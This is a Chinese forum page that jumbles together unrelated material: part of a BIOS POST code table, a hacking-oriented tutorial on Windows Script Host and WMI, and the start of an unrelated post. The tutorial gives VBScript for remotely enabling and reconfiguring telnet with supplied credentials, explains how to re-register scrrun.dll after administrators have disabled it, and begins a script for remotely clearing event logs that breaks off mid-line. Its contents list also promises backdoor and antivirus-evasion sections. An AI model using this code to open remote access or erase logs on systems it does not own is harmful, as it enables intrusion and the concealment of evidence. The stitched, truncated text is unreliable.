35 無意義。 完成調定顯示方式;即將檢查BIOS ROM的資料區。 停機檢測正在進行或失靈。 
36 無意義。 已檢查BIOS ROM資料區;即將調定通電資訊的游標。 門電路中A—20失靈。 
37 無意義。 識別通電資訊的游標調定已完成;即將顯示通電資訊。 保護方式中的意外中斷。 
38 無意義。 完成顯示通電資訊;即將讀出新的游標位置。 RAM測試正在進行或者位址故障>FFFFh。 
39 無意義。 己讀出保存游標位置,即將顯示引用資訊串。 無意義。 
3A 無意義。 引用資訊串顯示結束;即將顯示發現(ESC)資訊。引用資訊串顯示結束;即將顯示發現資訊。 間隔計時器通道2測試或失靈。 
3B 用OPT電路片(只是486)使輔助超高速緩衝記憶體作初始準備。 已顯示發現資訊:虛擬方式,記憶體測試即將開始。 按日計算的日曆時鐘測試正在進行或失靈。 
3C 建立允許進入CMOS設置的標誌。 無意義。 序列埠測試正在進行或失靈。 
3D 初女台化鍵盤/PS2滑鼠/PNP設備及總記憶體節點。 無意義。 平行埠測試正在進行或失靈。 
3E 嘗試打開L2快取記憶體。 無意義。 數學處理器測試正在進行或失靈。 
3F 無意義。 無意義。 無意義。 
40 無意義。 已開始準備虛擬方式的測試;即將從視頻記憶體來檢驗。 調整CPU速度,使之週邊時鐘精確匹配。 
41 中斷己打開,將初始化資料以便於0:0檢測記憶體變換(中斷控制器或記憶體不良)。 從視頻記憶體檢驗之後復原;即將準備描述符表。 系統插件板選擇失靈。 
42 顯示視窗進入SETUP。 描述符表已準備好;即將進行虛擬方式作記憶體測試。 擴展CMOS RAM故障。 
43 若是即插即用BIOS,則串口,並口初始化。 進入虛擬方式;即將為診斷方式實現中斷。 無意義。 
44 無意義。 已實現中斷(如已接通診斷開關;即將使資料作初始準備以檢查記憶體在0:0返轉。 BIOS中斷進行初始化。 
45 初始化數學處理器。 數據已作初始準備;即將檢查記憶體在0:0返轉以及找出系統記憶體的規模。 無意義。 
46 無意義。 測試記憶體已返回;記憶體大小計算完畢,即將寫入頁面來測試記憶體。 檢查唯讀記憶體ROM版本。 
47 無意義。 即將在擴展的記憶體試寫頁面;即將基本640K記憶體寫入頁面。 無意義。 
48 無意義。 已將基本記憶體寫入頁面;即將確定1Mb以上的記憶體。 視頻檢查,CMOS重新配置。 
49 無意義。 找出1Mb以下的記憶體並檢驗;即將確定1Mb以上的記憶體。 無意義。 
4A 無意義。 找出1Mb以上的記憶體並檢驗:即將檢查BIOS ROM的資料區。 進行視頻的初始化。 
4B 無意義。 BIOS ROM資料區的檢驗結束,即將檢查和為軟復位清除1Mb以上的記憶體。 無意義。 
4C 無意義。 清除1Mb以上的記憶體(軟復位)即將清除1Mb以上的記憶體。 遮罩視頻BIOS ROM。 
4D 無意義。 已清除1Mb以上的記憶體(軟復位);將保存記憶體的大小。 無意義。 
4E 若檢測到有錯誤,在顯示器上顯示錯誤資訊,並等待客戶按(F1)健繼續。 開始記憶體的測試:(無軟復位);即將顯示第一個64K記憶體的測試。 顯示版權資訊。 
4F 讀寫軟、硬碟資料,進行DOS引導。 開始顯示記憶體的大小,正在測試記憶體將使之更新;將進行串列和隨機的記憶體測試。 無意義。 
50 將當前BIOS臨時區內的CMOS值存到CMOS中。 完成1Mb以下的記憶體測試;即將高速記憶體的大小以便再定位和掩蔽。 將CPU類型和速度送到螢幕。 
51 無意義。 測試1Mb以上的記憶體。 無意義。 
52 所有ISA唯讀記憶體ROM進行初始化,最終給PCI分配IRQ號等初始化工作。 已完成1Mb以上的記憶體測試;即將準備回到實址方式。 進入鍵盤檢測。 
53 如果不是即插即用BIOS,則初始化串口、並口和設置時鐘值。 保存CPU寄存器和記憶體的大小,將進入實址方式。 無意義。 
54 無意義。 成功地開啟實址方式;即將復原準備停機時保存的寄存器。 掃描"打擊鍵"。 
55 無意義。 寄存器已復原,將停用門電路A—20的地址線。 無意義。 
56 無意義。 成功地停用A—20的地址線;即將檢查BIOS ROM資料區。 鍵盤測試結束。 
57 無意義。 BIOS ROM的資料區檢查了一半;繼續進行。 無意義。 
58 無意義。 BIOS ROM的資料區檢查結束;將清除發現資訊。 非設置中斷測試。 
59 無意義。 已清除信息;資訊已顯示;即將開始DMA和中斷控制器的測試。 無意義。 
5A 無意義。 無意義。 顯示按"F2"鍵進行設置。 
5B 無意義。 無意義。 測試基本記憶體位址線。 
5C 無意義。 無意義。 測試640K基本記憶體。 
5D 無意義。 無意義。 無意義。 
5E 無意義。 無意義。 無意義。 
5F 無意義。 無意義。 無意義。 
60 設置硬碟引導磁區病毒保護功能。 通過DMA頁面寄存器的測試;即將檢驗視頻記憶體。 測試擴展記憶體。 
61 顯示系統配置表。 視頻記憶體檢驗結束;即將進行DMA#l基本寄存器的測試。 無意義。 
62 開始用中斷19H進行系統引導。 通過DMA#l基本寄存器的測試;即將進行DMA#2寄存器的測試。 測試擴展記憶體地址線。 
63 無意義。 通過DMA#2基本寄存器的測試;即將檢查BIOS ROM資料區。 無意義。 
64 無意義。 BIOS ROM資料區檢查了一半,繼續進行。 無意義。 
65 無意義。 BIOS ROM資料區檢查結束;將把DMA裝置1和2編程。 無意義。 
66 無意義。 DMA裝置1和2編程結束;即將使用59號中斷控制器作初始準備。 Cache註冊表進行優化配置。 
67 無意義。 8259初始準備已結束;即將開始鍵盤測試。 無意義。 
68 無意義。 無意義。 使外部Cache和CPU內部Caehe都工作。 
69 無意義。 無意義。 無意義。 
6A 無意義。 無意義。 測試並顯示外部Cache值。 
6B 無意義。 無意義。 無意義。 
6C 無意義。 無意義。 顯示被遮罩內容。 
6D 無意義。 無意義。 無意義。 
6E 無意義。 無意義。 顯示附屬配置資訊。 
6F 無意義。 無意義。 無意義。 
70 無意義。 無意義。 檢測到的錯誤代碼送到螢幕顯示。 
71 無意義。 無意義。 無意義。 
72 無意義。 無意義。 檢測配置有否錯誤。 
73 無意義。 無意義。 無意義。 
74 無意義。 無意義。 測試即時時鐘。 
75 無意義。 無意義。 無意義。 
76 無意義。 無意義。 掃查鍵盤錯誤。 
77 無意義。 無意義。 無意義。 
78 無意義。 無意義。 無意義。 
79 無意義。 無意義。 無意義。 
7A 無意義。 無意義。 鎖鍵盤。 
7B 無意義。 無意義。 無意義。 
7C 無意義。 無意義。 設置硬體中斷向量。 
7D 無意義。 無意義。 無意義。 
7E 無意義。 無意義。 測試有否安裝數學處理器。 
7F 無意義。 無意義。 無意義。 
80 無意義。 鍵盤測試開始,正在清除和檢查有沒有鍵卡住,即將使鍵盤復原。 關閉可編程輸入/輸出設備。 
81 無意義。 找出鍵盤復原的錯誤卡住的健;即將發出鍵盤控制埠的測試命令。 無意義。 
82 無意義。 鍵盤控制器介面測試結束,即將寫入命令字節和使迴圈緩衝器作初始準備。 檢測和安裝固定RS232介面(串口)。 
83 無意義。 已寫入命令字節,已完成全局資料的初始準備;即將檢查有沒有鍵鎖住。 無意義。 
84 無意義。 已檢查有沒有鎖住的鍵,即將檢查記憶體是否CMOS失配。 檢測和安裝固定並行口。 
85 無意義。 已檢查記憶體的大小;即將顯示軟錯誤和口令或旁通安排。 無意義。 
86 無意義。 已檢查口令:即將進行旁通安排的編程。 重新打開可編程I/O設備和、檢測固定I/O是否有衝突。 
87 無意義。 完成安排前的編程,將進行CMOS安排的編程。 無意義。 
88 無意義。 從CMOS安排程式復原清除螢幕;即將進行後面的編程。 初始化BIOS數據區。 
89 無意義。 完成安排後的編程;即將顯示通電螢幕資訊。 無意義。 
8A 無意義。 顯示頭一個螢幕資訊。 進行擴展BIOS資料區初始化。 
8B 無意義。 顯示了資訊:即將遮罩主要和視頻BIOS。 無意義。 
8C 無意義。 成功地遮罩主要和視頻BIOS,將開始CMOS後的安排任選項的編程。 進行軟盤機控制器初始化。 
8D 無意義。 已經安排任選項編程接著檢查滑鼠和進行初始準備。 無意義。 
8E 無意義。 檢查了滑滑鼠以及完成初始準備;即將把硬、軟碟重定。 無意義。 
8F 無意義。 軟碟已檢查,該磁碟將作初始準備,隨後想備軟磁碟。 無意義。 
90 無意義。 軟磁碟配置結束;將測試硬磁碟的存在。 硬碟控制器進行初始化。 
91 無意義。 硬磁碟存在測試結束;隨後配置硬磁碟。 區域匯流排硬碟控制器初始化。 
92 無意義。 硬磁碟配置完成;即將檢查BIOS ROM的資料區。 跳轉到用戶路徑2。 
93 無意義。 BIOS ROM的資料區已檢查一半;繼續進行。 無意義。 
94 無意義。 BIOS ROM的資料區檢查完畢,即調定基本和擴展記憶體的大小。 關閉A20地址線。 
95 無意義。 因應滑鼠和硬磁碟47型支援而調節好記憶體的大小;即將檢驗顯示記憶體。 無意義。 
96 無意義。 檢驗顯示記憶體後復原;即將進行C800:0任選ROM控制之前的初始準備。 "ES段"註冊表清除。 
97 無意義。 C800:0任選ROM控制之前的任何初始準備結束,接著進行任選ROM的檢查及控制。 無意義。 
98 無意義。 任選ROM的控制完成;即將進行任選ROM回復控制之後所需的任何處理。 查找ROM選擇。 
99 無意義。 任選ROM測試之後所需的任何初始準備結束;即將建立計時器的資料區或印表機基本位址。 無意義。 
9A 無意義。 調定計時器和列印基本位址後的返回操作;即將調定RS—232基本位址。 遮罩ROM選擇。 
9B 無意義。 在RS—232基本位址之後返回;即將進行輔助運算器測試之初始準備。 無意義。 
9C 無意義。 輔助運算器測試之前所需—初始準備結束;接著使輔助運算器作初始準備。 建立電源節能管理。 
9D 無意義。 輔助運算器作好初始準備,即將進行輔助運算器測試之後的任何初始準備。 無意義。 
9E 無意義。 完成輔助運算器之後的初始準備,將檢查擴展鍵盤,鍵盤識別符,以及數位鎖定。 開放硬體中斷。 
9F 無意義。 已檢查擴展鍵盤,調定識別標誌,數位鎖接通或斷開,將發出鍵盤識別命令。 無意義。 
A0 無意義。 發出鍵盤識別命令:即將使鍵盤識別標誌復原。 設置時間和日期。 
A1 無意義。 鍵盤識別標誌復原;接著進行高速緩衝記憶體的測試。 無意義。 
A2 無意義。 高速緩衝記憶體測試結束;即將顯示任何軟錯誤。 檢查鍵盤鎖。 
A3 無意義。 軟錯誤顯示完畢;即將調定鍵盤打擊的速率。 無意義。 
A4 無意義。 調好鍵盤的打擊速率,即將制訂記憶體的等待狀態。 鍵盤重複輸入速率的初始化。 
A5 無意義。 記憶體等候狀態制定完畢;接著將清除螢幕。 無意義。 
A6 無意義。 螢幕已清除;即將啟動奇偶性和不可遮罩中斷。 無意義。 
A7 無意義。 已啟用不可遮罩中斷和奇偶性;即將進行控制任選ROM在E000:0之所需的任何初始準備。 無意義。 
A8 無意義。 控制ROM在E000:0之前的初始準備結束,接著將控制E000:0之所需的任何初始準備。 清除"F2"鍵提示。 
A9 無意義。 從控制E000:0 ROM返回,即將進行控制E000:0任選ROM之後所需的任何初始準備。 無意義。 
AA 無意義。 在E000:0控制任選ROM之後的初始準備結束;即將顯示系統的配置。 掃描"F2"鍵打擊。 
AB 無意義。 無意義。 無意義。 
AC 無意義。 無意義。 進入設置。 
AD 無意義。 無意義。 無意義。 
AE 無意義。 無意義。 清除通電自檢標誌。 
AF 無意義。 無意義。 無意義。 
B0 無意義。 無意義。 檢查非關鍵性錯誤。 
B1 無意義。 無意義。 無意義。 
B2 無意義。 無意義。 通電自檢完成準備進入作業系統引導。 
B3 無意義。 無意義。 無意義。 
B4 無意義。 無意義。 蜂鳴器響一聲。 
B5 無意義。 無意義。 無意義。 
B6 無意義。 無意義。 檢測密碼設置(可選)。 
B7 無意義。 無意義。 無意義。 
B8 無意義。 無意義。 清除全部描述表。 
B9 無意義。 無意義。 無意義。 
BA 無意義。 無意義。 無意義。 
BB 無意義。 無意義。 無意義。 
BC 無意義。 無意義。 清除校驗檢查值。 
BD 無意義。 無意義。 無意義。 
BE 程式缺省值進入控制晶片,符合可調製二進位缺省值表。 無意義。 清除螢幕(可選)。 
BF 測試CMOS建立值。 無意義。 檢測病毒,提示做資料備份。 
C0 初始化快取記憶體。 無意義。 用中斷19試引導。 
C1 記憶體自檢。 無意義。 查找引導磁區中的"55""AA"標記。 
C2 無意義。 無意義。 無意義。 
C3 第一個256K記憶體測試。 無意義。 無意義。 
C4 無意義。 無意義。 無意義。 
C5 從ROM內複製BIOS進行快速自檢。 無意義。 無意義。 
C6 快取記憶體自檢。 無意義。 無意義。 
C7 無意義。 無意義。 無意義。 
C8 無意義。 無意義。 無意義。 
C9 無意義。 無意義。 無意義。 
CA 檢測Micronies超高速緩衝記憶體(如果存在),並使之作初始準備。 無意義。 無意義。 
CB 無意義。 無意義。 無意義。 
CC 關斷不可遮罩中斷處理器。 無意義。 無意義。 
CD 無意義。 無意義。 無意義。 
CE 無意義。 無意義。 無意義。 
CF 無意義。 無意義。 無意義。 
D0 無意義。 無意義。 無意義。 
D1 無意義。 無意義。 無意義。 
D2 無意義。 無意義。 無意義。 
D3 無意義。 無意義。 無意義。 
D4 無意義。 無意義。 無意義。 
D5 無意義。 無意義。 無意義。 
D6 無意義。 無意義。 無意義。 
D7 無意義。 無意義。 無意義。 
D8 無意義。 無意義。 無意義。 
D9 無意義。 無意義。 無意義。 
DA 無意義。 無意義。 無意義。 
DB 無意義。 無意義。 無意義。 
DC 無意義。 無意義。 無意義。 
DD 無意義。 無意義。 無意義。 
DE 無意義。 無意義。 無意義。 
DF 無意義。 無意義。 無意義。 
E0 無意義。 無意義。 無意義。 
E1 無意義。 無意義。 無意義。 
E2 無意義。 無意義。 無意義。 
E3 無意義。 無意義。 無意義。 
E4 無意義。 無意義。 無意義。 
E5 無意義。 無意義。 無意義。 
E6 無意義。 無意義。 無意義。 
E7 無意義。 無意義。 無意義。 
E8 無意義。 無意義。 無意義。 
E9 無意義。 無意義。 無意義。 
EA 無意義。 無意義。 無意義。 
EB 無意義。 無意義。 無意義。 
EC 無意義。 無意義。 無意義。 
ED 無意義。 無意義。 無意義。 
EE 處理器意料不到的例外情況。 無意義。 無意義。 
EF 無意義。 無意義。 無意義。 
F0 無意義。 無意義。 無意義。 
F1 無意義。 無意義。 無意義。 
F2 無意義。 無意義。 無意義。 
F3 無意義。 無意義。 無意義。 
F4 無意義。 無意義。 無意義。 
F5 無意義。 無意義。 無意義。 
F6 無意義。 無意義。 無意義。 
F7 無意義。 無意義。 無意義。 
F8 無意義。 無意義。 無意義。 
F9 無意義。 無意義。 無意義。 
FA 無意義。 無意義。 無意義。 
FB 無意義。 無意義。 無意義。 
FC 無意義。 無意義。 無意義。 
FD 無意義。 無意義。 無意義。 
FE 無意義。 無意義。 無意義。 
FF 給予INT19引導裝入程式的控制,主板OK。(見特殊代碼意義) (見特殊代碼意義) (見特殊代碼意義)     特殊代碼"00"、"FF"及其它起始碼有三種情況出現: 
1、已由一系列其他代碼出現之後再出現"00"或"FF",則主板OK。
2、如果CMOS中設置無錯誤,則不嚴重的故障不會影響BIOS自檢的繼續,而最終出現"00"或"FF"。
3、一開機就出現"00"或"FF"或其他起始代碼並且不變化,則為主板沒有運行起來。 
 
深入挖掘Windows腳本技術 
 
深入挖掘Windows腳本技術 
【目錄】 
1,前言 
2,回顧WSH對象 
3,WMI服務 
4,腳本也有GUI 
5,反查殺 
6,來做個後門 
7,結語 
8,參考資料     【前言】 
本文講述一些Windows腳本編程的知識和技巧。
這裏的Windows腳本是指"Windows Script Host"(WSH Windows腳本宿主),而不是HTML或ASP中的腳本。
前者由Wscript或Cscript解釋,後兩者分別由IE和IIS負責解釋。
描述的語言是VBScript。本文假設讀者有一定的Windows腳本編程的基礎。
如果你對此還不瞭解,請先學 習《Windows腳本技術》[1]。     【回顧WSH對象】 
得益於com技術的支援,WSH能提供比批次處理(.bat)更強大的功能。說白了,wsh不過是調用現成的"控制項"作為一個物件,用物件的屬性和方法實現目的。     常用的對象有: 
WScript 
Windows腳本宿主物件模型的根物件,要使用WSH自然離不開它。它提供多個子物件,比如WScript.Arguments和WScript.Shell。前者提供對整個命令行參數集的訪問,後者可以運行程式、操縱註冊表內容、創建快捷方式或訪問系 統檔夾。     Scripting.FileSystemObject 
主要為IIS設計的物件,訪問檔系統。這個恐怕是大家遇到最多的物件了,因為幾乎所有的Windows腳本病毒都要通過它複製自己感染別人。     ADODB.Stream 
ActiveX Data Objects資料庫的子物件,提供流方式訪問檔的功能。這雖然屬於資料庫的一部分,但感謝微軟,ADO是系統自帶的。     Microsoft.XMLHTTP 
為支援XML而設計的物件,通過http協定訪問網路。常用於跨站腳本執行漏洞和SQL injection。     還有很多不常見的: 
活動目錄服務介面(ADSI)相關物件 —— 功能涉及範圍很廣,主要用於Windows域管理。 
InternetExplorer物件 —— 做IE能做的各種事。 
Word,Excel,Outlook物件 —— 用來處理word文檔,excel表單和郵件。 
WBEM對象 —— WBEM即Web-Based Enterprise Management。它為管理Windows提供強大的功能支援。下一節提到的WMI服務提供該物件的介面。     很顯然,WSH可以利用的物件遠遠不止這些。本文挂一漏萬,談一些較實用的物件及其用法。 
先看一個支持中斷點續傳下載web資源的例子,它用到了上面說的4個常用對象。     if (lcase(right(wscript.fullname,11))="wscript.exe") then '判斷腳本宿主的名稱' 
die("Script host must be CScript.exe.") '腳本宿主不是CScript,於是就die了' 
end if     if wscript.arguments.count<1 then '至少要有一個參數' 
die("Usage: cscript webdl.vbs url [filename]") '麻雀雖小五臟俱全,Usage不能忘' 
end if     url=wscript.arguments(0) '參數陣列下標從0開始' 
if url="" then die("URL can't be null.") '敢唬我,空url可不行' 
if wscript.arguments.count>1 then '先判斷參數個數是否大於1' 
filename=wscript.arguments(1) '再訪問第二個參數' 
else '如果沒有給出檔案名,就從url中獲得' 
t=instrrev(url,"/") '獲得最後一個"/"的位置' 
if t=0 or t=len(url) then die("Can not get filename to save.") '沒有"/"或以"/"結尾' 
filename=right(url,len(url)-t) '獲得要保存的檔案名' 
end if 
if not left(url,7)="http://" then url="http://"&url '如果粗心把"http://"忘了,加上'     set fso=wscript.createobject("Scripting.FileSystemObject") 'FSO,ASO,HTTP三個物件一個都不能少' 
set aso=wscript.createobject("ADODB.Stream") 
set http=wscript.createobject("Microsoft.XMLHTTP")     if fso.fileexists(filename) then '判斷要下載的檔是否已經存在' 
start=fso.getfile(filename).size '存在,以當前檔大小作為開始位置' 
else 
start=0 '不存在,一切從零開始' 
fso.createtextfile(filename).close '新建文件' 
end if     wscript.stdout.write "Connectting..." '好戲剛剛開始' 
current=start '當前位置即開始位置' 
do 
http.open "GET",url,true '這裏用非同步方式調用HTTP' 
http.setrequestheader "Range","bytes="&start&"-"&cstr(start+20480) '中斷點續傳的奧秘就在這裏' 
http.setrequestheader "Content-Type:","application/octet-stream" 
http.send '構造完資料包就開始發送'     for i=1 to 120 '迴圈等待' 
if http.readystate=3 then showplan() '狀態3表示開始接收資料,顯示進度' 
if http.readystate=4 then exit for '狀態4表示資料接受完成' 
wscript.sleep 500 '等待500ms' 
next 
if not http.readystate=4 then die("Timeout.") '1分鐘還沒下完20k?超時!' 
if http.status>299 then die("Error: "&http.status&" "&http.statustext) '不是吧,又出錯?' 
if not http.status=206 then die("Server Not Support Partial Content.") '伺服器不支援中斷點續傳'     aso.type=1 '資料流程類型設為位元組' 
aso.open 
aso.loadfromfile filename '打開文件' 
aso.position=start '設置檔指針初始位置' 
aso.write http.responsebody '寫入資料' 
aso.savetofile filename,2 '覆蓋保存' 
aso.close     range=http.getresponseheader("Content-Range") '獲得http頭中的"Content-Range"' 
if range="" then die("Can not get range.") '沒有它就不知道下載完了沒有' 
temp=mid(range,instr(range,"-")+1) 'Content-Range是類似123-456/789的樣子' 
current=clng(left(temp,instr(temp,"/")-1)) '123是開始位置,456是結束位置' 
total=clng(mid(temp,instr(temp,"/")+1)) '789是檔總位元組數' 
if total-current=1 then exit do '結束位置比總大小少1就表示傳輸完成了' 
start=start+20480 '否則再下載20k' 
loop while true     wscript.echo chr(13)&"Download ("&total&") Done." '下載完了,顯示總位元組數'     function die(msg) '函數名來自Perl內置函數die' 
wscript.echo msg '交代遺言^_^' 
wscript.quit '去見馬克思了' 
end function     function showplan() '顯示下載進度' 
if i mod 3 = 0 then c="/" '簡單的動態效果' 
if i mod 3 = 1 then c="-" 
if i mod 3 = 2 then c="" 
wscript.stdout.write chr(13)&"Download ("?t&") "&c&chr(8)'13號ASCII碼是回到行首,8號是退格' 
end function     可以看到,http控制項的功能是很強大的。通過對http頭的操作,很容易就實現中斷點續傳。例子中只是單線程的,事實上由於http控制項支援非同步調用和事件,也可以實現多線程下載。在MSDN裏有詳細的用法。至於中斷點續傳的詳細資料,請看RFC2616。     FSO和ASO都可以訪問檔,他們有什麼區別呢?其實,ASO除了在訪問位元組(非文本)資料有用外,就沒有存在的必要了。
如果想把例子中的ASO用 FSO來實現,那麼寫入http.responsebody的時候會出錯。反之也不行,ASO無法判斷檔是否存在。
如果檔不存在,loadfromfile就直接出錯,沒有改正的機會。
當然,可以用on error resume next語句讓腳本宿主忽略非致命錯誤,自己捕捉並處理。但有現成的fileexists()為什麼不用呢?     另外,由於FSO經常被腳本病毒和ASP木馬利用,所以管理員可能會在註冊表中修改該控制項的資訊,使腳本無法創建FSO。其實執行一個命令regsvr32 /s scrrun.dll就恢復了。即使scrrun.dll被刪除,自己複製一個過去就行。     熱身完之後,下面我們來看一個功能強大的物件——WBEM(由WMI提供)。     【WMI服務】 
先看看MSDN裏是怎麼描述WMI的——Windows 管理規範 (WMI) 是可伸縮的系統管理結構,它採用一個統一的、基於標準的、可擴展的面向物件介面。我在剛開始理解WMI的時候,總以為WMI是"Windows管理介面"(Interface),呵呵。     再看什麼是WMI服務——提供共同的介面和物件模式以便訪問有關作業系統、設備、應用程式和服務的管理資訊。如果此服務被終止,多數基於Windows的軟體將無法正常運行。如果此服務被禁用,任何依賴它的服務將無法啟動。     看上去似乎是個很重要的服務。
不過,默認情況下並沒有服務依賴它,反而是它要依賴RPC和EventLog服務。
但它又是時常用到的。我把WMI服務設置為手動啟動並停止,使用電腦一段時間,發現WMI服務又啟動了。
被需要就啟動,這是服務設置為"手動" 的特點。
當我知道WMI提供的管理資訊有多龐大後,對WMI服務的自啟動就不感到奇怪了。     想直觀瞭解WMI的複雜,可以使用WMITools.exe[2]這個工具。這是一個工具集。使用其中的WMI Object Browser可以看到很多WMI提供的物件,其複雜程度不亞於註冊表。更重要的是,WMI還提供動態資訊,比如當前進程、服務、用戶等。     WMI的邏輯結構是這樣的: 
首先是WMI使用者,比如腳本(確切的說是腳本宿主)和其他用到WMI介面的應用程式。
由WMI使用者訪問CIM對象管理器WinMgmt(即WMI服務),後者再訪問CIM(公共資訊模型Common Information Model)儲存庫。
靜態或動態的資訊(物件的屬性)就保存在CIM庫中,同時還存有物件的方法。
一些操作,比如啟動一個服務,通過執行物件的方法實現。這實際上是通過COM技術調用了各種dll。
最後由dll中封裝的API完成請求。     WMI是事件驅動的,作業系統、服務、應用程式、設備驅動程式等都可作為事件源,通過COM介面生成事件通知。WinMgmt捕捉到事件,然後刷新CIM庫中的動態資訊。這也是為什麼WMI服務依賴EventLog的原因。     說完概念,我們來看看具體如何操作WMI介面。 
下面這個例子的代碼來自我寫的腳本RTCS。它是遠端配置telnet服務的腳本。 
這裏只列出關鍵的部分:     首先是創建物件並連接伺服器:     set objlocator=createobject("wbemscripting.swbemlocator") 
set objswbemservices=objlocator.connectserver(ipaddress,"rootdefault",username,password)     第一句創建一個服務定位物件,然後第二句用該物件的connectserver方法連接伺服器。 
除了IP位址、用戶名、密碼外,還有一個名字空間參數rootdefault。 
就像註冊表有根鍵一樣,CIM庫也是分類的。用面向物件的術語來描述就叫做"名字空間"(Name Space)。 
由於RTCS要處理NTLM認證方式和telnet服務埠,所以需要訪問註冊表。而操作註冊表的物件在rootdefault。     set objinstance=objswbemservices.get("stdregprov") '實例化stdregprov物件' 
set objmethod=objinstance.methods_("SetDWORDvalue") 'SetDWORDvalue方法本身也是物件' 
set objinparam=objmethod.inparameters.spawninstance_() '實例化輸入參數物件' 
objinparam.hdefkey=&h80000002 '根目錄是HKLM,代碼80000002(16進制)' 
objinparam.ssubkeyname="SOFTWAREMicrosoftTelnetServer1.0" '設置子鍵' 
objinparam.svaluename="NTLM" '設置鍵值名' 
objinparam.uvalue=ntlm '設置鍵值內容,ntlm是變數,由用戶輸入參數決定' 
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam) '執行方法'     然後設置埠     objinparam.svaluename="TelnetPort" 
objinparam.uvalue=port 'port也是由用戶輸入的參數' 
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)     看到這裏你是不是覺得有些頭大了呢?又是名字空間,又是類的實例化。
我在剛開始學習WMI的時候也覺得很不習慣。記得我的初中老師說過,讀書要先把書讀厚,再把書讀薄。
讀厚是因為加入了自己的想法,讀薄是因為把握要領了。 
我們現在就把書讀薄。上面的代碼可以改為:     set olct=createobject("wbemscripting.swbemlocator") 
set oreg=olct.connectserver(ip,"rootdefault",user,pass).get("stdregprov") 
HKLM=&h80000002 
out=oreg.setdwordvalue(HKLM,"SOFTWAREMicrosoftTelnetServer1.0","NTLM",ntlm) 
out=oreg.setdwordvalue(HKLM,"SOFTWAREMicrosoftTelnetServer1.0","TelnetPort",port)     現在是不是簡單多了?     接著是對telnet服務狀態的控制。     set objswbemservices=objlocator.connectserver(ipaddress,"rootcimv2",username,password) 
set colinstances=objswbemservices.execquery("select * from win32_service where name='tlntsvr'")     這次連接的是rootcimv2名字空間。然後採用wql(sql for WMI)搜索tlntsvr服務。熟悉sql語法的一看就知道是在做什麼了。這樣得到的是一組Win32_Service實例,雖然where語句決定了該組總是只有一個成員。 
為簡單起見,假設只要切換服務狀態。     for each objinstance in colinstances 
if objinstance.started=true then '根據started屬性判斷服務是否已經啟動' 
intstatus=objinstance.stopservice() '是,調用stopservice停止服務' 
else 
intstatus=objinstance.startservice() '否,調用startservice啟動服務' 
end if 
next     關鍵的代碼就是這些了,其餘都是處理輸入輸出和容錯的代碼。 
總結一下過程: 
1,連接伺服器和合適的名字空間。 
2,用get或execquery方法獲得所需物件的一個或一組實例。 
3,讀寫物件的屬性,調用物件的方法。     那麼,如何知道要連接哪個名字空間,獲得哪些物件呢?
《WMI技術指南》[3]中分類列出了大量常用的物件。
可惜它沒有相應的電子書,你只有到書店裏找它了。
你也可以用WMITools裏WMI CIM Studio這個工具的搜索功能,很容易就能找想要的物件。
找到物件後,WMI CIM Studio能列出其屬性和方法,然後到MSDN裏找具體的幫助。而應用舉例,除了我寫的7個RS系列腳本,
還有參考資料[4]。     需要特別說明的是,在參考資料[4]中,連接伺服器和名字空間用的是類似如下的語法:     Set objWMIService=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&strComputer&"rootcimv2:Win32_Process")     詳細的語法在《WMI技術指南》和MSDN中有介紹,但我們不關心它,因為這種辦法沒有用戶名和密碼參數。
因此,只有在當前用戶在目標系統(含本地)有登陸許可權的情況下才能使用。
而connectserver如果要本地使用,第一個參數可以是 127.0.0.1或者一個點".",第3、4個參數都是空字串""。     最後,訪問WMI還有一個"特權"的問題。如果你看過ROTS的代碼,你會發現有兩句"奇怪"的語句:     objswbemservices.security_.privileges.add 23,true 
objswbemservices.security_.privileges.add 18,true     這是在向WMI服務申請許可權。18和23都是許可權代號。下面列出一些重要的代號: 
5 在域中創建帳戶 
7 管理審計並查看、保存和清理安全日誌 
9 載入和卸載設備驅動 
10 記錄系統時間 
11 改變系統時間 
18 在本地關機 
22 繞過曆遍檢查 
23 允許遠端關機     詳細資訊還是請看《WMI技術指南》或MSDN。 
所有特權默認是沒有的。我在寫RCAS時,因為忘了申請特權11,結果一直測試失敗,很久才找到原因。 
只要有許可權連接WMI服務,總能成功申請到需要的特權。這種特權機制,只是為了約束應用程式的行為,加強系統穩定性。有點奇怪的是,訪問註冊表卻不用申請任何特權。真不知道微軟的開發人員是怎麼想的,可能是訪問註冊表太普遍了。     【腳本也有GUI】 
雖然系統提供了WScript和CScript兩個腳本宿主,分別負責視窗環境和命令行環境下的腳本運行,但實際上視窗環境下用戶與腳本交互不太方便
:參數輸入只能建立快捷方式或彈出InputBox對話方塊,輸出資訊後只有在用戶"確定"後才能繼續運行。
完全沒有了視窗環境直觀、快捷的優勢。好在有前面提到的InternetExplorer物件,腳本可以提供web風格的GUI。     還是來看個例子,一個清除系統日誌的腳本,順便復習一下WMI:     set ie=wscript.createobject("internetexplorer.application","event_") '創建ie對象' 
ie.menubar=0 '取消菜單欄' 
ie.addressbar=0 '取消地址欄' 
ie.toolbar=0 '取消工具欄' 
ie.statusbar=0 '取消狀態欄' 
ie.width=400 '寬400' 
ie.height=400 '高400' 
ie.resizable=0 '不允許用戶改變視窗大小' 
ie.navigate "about:blank" '打開空白頁面' 
ie.left=fix((ie.document.parentwindow.screen.availwidth-ie.width)/2) '水準居中' 
ie.top=fix((ie.document.parentwindow.screen.availheight-ie.height)/2) '垂直居中' 
ie.visible=1 '窗口可見'     with ie.document '以下調用方法,' 
.write "<html><body bgcolor=#dddddd scroll=no>" '寫一段html到ie窗口中。' 
.write "

遠端清除系統日誌[/h2]
" .write "目標IP:<input id=ip type=text size=15>" '也可以用navigate方法直接打開一' .write "用戶名:<input id=user type=text size=30>" '個html檔,效果是一樣的。' .write "密碼: <input id=pass type=password size=30>" .write "類型:" '不僅是input物件,所有DHTML支援' .write "<input id=app type=checkbox>應用程式 " '的物件及其屬性、方法都可以使用。' .write "<input id=sys ty

conundrum
尊榮會員


發表:893
回覆:1272
積分:643
註冊:2004-01-06

發送簡訊給我
#4 引用回覆 回覆 發表時間:2005-11-17 20:30:21 IP:220.143.xxx.xxx 未訂閱
http://oldblog.blogchina.com/category.php?id=15816&pageno=4    設計模式的趣解-追MM 
 
創建型模式?    1、FACTORY一追MM少不了請吃飯了,麥當勞的雞翅和肯德基的雞翅都是MM愛吃的東西,雖然口味有所不同,
